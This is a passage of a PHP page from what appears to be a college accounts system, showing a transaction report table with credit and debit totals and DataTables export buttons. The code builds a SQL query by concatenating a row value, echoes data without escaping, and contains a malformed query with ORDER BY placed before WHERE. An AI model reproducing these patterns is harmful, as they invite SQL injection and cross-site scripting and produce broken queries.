FROM employeesalarypayment left JOIN employeeentryform ON employeesalarypayment.EmployeeId=employeeentryform.empid
LEFT JOIN course ON employeeentryform.course=course.id
left JOIN admin as admin ON employeesalarypayment.user_id=admin.id order by (Transactiontype='Income') DESC,Transactiontype
where employeesalarypayment.approve=1
");
}
$Rowf=mysqli_fetch_array($Queryf);
//print_r($Query);
$i = 1;
$totalcreadit=0;
$totaldebit=0;
$tranids='';
while($Row=mysqli_fetch_array($Query)){
$bank=mysqli_fetch_array(mysqli_query($con,"select bankname from bankdetails where id=".$Row['bank']))['bankname'];
// print_r($Row);
if($Row['Transactiontype']=='CashToBank'){ ?>
<tr>
<td><?=$i;?></td>
<td><?=$Row['Transaction_id'];
$tranids=$Row['Transaction_id'];
?></td>
<td><?=$Row['receipt_no'];?></td>
<td><?=$Row['accountcateogy'];?></td>
<td>Cash</td>
<td><?=$Row['c_name'];?></td>
<td><?=$Row['transaction_for'];?></td>
<td><?=$Row['Payment_Mode'];?></td>
<td><?=$bank;?></td>
<td></td>
<td><?php if($Row['Transactiontype']=='Income' || $Row['Transactiontype']=='CashToBank'){ ?>
<?=$Row['Bill_Amount'];
$totaldebit +=$Row['Bill_Amount'];
?>
</td>
<?php } ?>
<td><?php echo date("Y-m-d",strtotime($Row['creat'])); ?></td>
<td><?=$Row['username'];?></td>
</tr>
<?php } if($tranids==$Row['Transaction_id']){
}else if($Row['Payment_Mode']=='POS'||$Row['Payment_Mode']=='Cheque'||$Row['Payment_Mode']=='ByCheque'||$Row['Payment_Mode']=='Draft') {
?>
<tr>
<td><?=$i;?></td>
<td><?=$Row['Transaction_id'];?></td>
<td><?=$Row['receipt_no'];?></td>
<td><?=$Row['accountcateogy'];?></td>
<td><?=$Row['party_name'];?></td>
<td><?=$Row['c_name'];?></td>
<td><?=$Row['transaction_for'];?></td>
<td><?=$Row['Payment_Mode'];?></td>
<td><?=$bank;?></td>
<td><?php if($Row['Transactiontype']=='Income' || $Row['Transactiontype']=='CashToBank'){ ?>
<?=$Row['Bill_Amount'];
$totalcreadit +=$Row['Bill_Amount'];
?></td>
<?php } ?>
<td><?php if($Row['Transactiontype']=='Expence' || $Row['Transactiontype']=='BankToCash'){ ?>
<?=$Row['Bill_Amount'];
$totaldebit +=$Row['Bill_Amount'];
?></td>
<?php } ?>
<td><?php echo date("Y-m-d",strtotime($Row['creat'])); ?></td>
<td><?=$Row['username'];?></td>
</tr>
<?php } $i++;} ?>
</tbody>
<tfoot>
<tr>
<th></th>
<?php if(!empty($from) && !empty($to)){
// echo date('Y-m-d').'<br>'.$to;
if($to==date('Y-m-d')){ ?>
<th></th>
<th></th>
<?php }else{ ?>
<th></th>
<th></th>
<?php } }else{ ?>
<th></th>
<th></th>
<?php } ?>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th>TOTAL</th>
<th> <?php echo $totalcreadit;
?></th>
<th><?php echo $totaldebit;
?></th>
<th></th>
<th></th>
</tr>
</tfoot>
</table>
</div><!-- /.box-body -->
</div><!-- /.box -->
</div><!-- /.col -->
</div><!-- /.row -->
</section><!-- /.content -->
</div><!-- /.content-wrapper -->
<!-- footer start -->
<?php
include('include/footer.php');
?>
<!-- footer end -->
<!-- DataTables -->
<?php $Query=mysqli_query($con,"select * from collageinfo ");
$i = 1;
$Row=mysqli_fetch_array($Query);?>
<script src="plugins/datatables/jquery.dataTables.min.js" type="text/javascript"></script>
<script src="plugins/datatables/dataTables.bootstrap.min.js" type="text/javascript"></script>
<script src="bootstrap/js/dataTables.buttons.min.js" type="text/javascript"></script>
<script src="bootstrap/js/jszip.min.js" type="text/javascript"></script>
<script src="bootstrap/js/pdfmake.min.js" type="text/javascript"></script>
<script src="bootstrap/js/vfs_fonts.js" type="text/javascript"></script>
<script src="bootstrap/js/buttons.html5.min.js" type="text/javascript"></script>
<script src="bootstrap/js/buttons.print.min.js" type="text/javascript"></script>
<script src="bootstrap/js/buttons.colVis.min.js" type="text/javascript"></script>
<script src="bootstrap/js/buttons.flash.min.js" type="text/javascript"></script>
<script type="text/javascript">
$(document).ready(function() {
$('#example1').DataTable( {
dom: 'Bfrtip',
columnDefs: [
{
targets: 1,
className: 'noVis'
}
],
buttons: [
{
extend: 'colvis',
columns: ':not(.noVis)'
}
],
buttons: [
{ extend: 'colvis', text: 'COLOUMNS',footer: true },
{ extend: 'csv', text: 'Export to CSV',footer: true },
{ extend: 'excel', text: 'Export to Excel',footer: true },
{ extend: 'pdfHtml5', text: 'Print', orientation: 'landscape', exportOptions: { columns: ':visible' } ,footer: true},
],
} );
$('#example2').DataTable( {
dom: 'Bfrtip',
columnDefs: [
{
targets: 1,
className: 'noVis'
}
],
buttons: [
{
extend: 'colvis',
columns: ':not(.noVis)'
}
],
buttons: [
{ extend: 'colvis', text: 'COLOUMNS' },
{ extend: 'csv', text: 'Export to CSV' },
{ extend: 'excel', text: 'Export to Excel' },
{ extend: 'pdfHtml5', text: 'Create PDF', orientation: 'landscape', exportOptions: { columns: ':visible' } },
{ extend: 'print', text: 'Print', exportOptions:{columns: ':visible',autoPrint: true}}
],
} );
} );
//$(function () {
//$("#example1").DataTable();
//});
</script>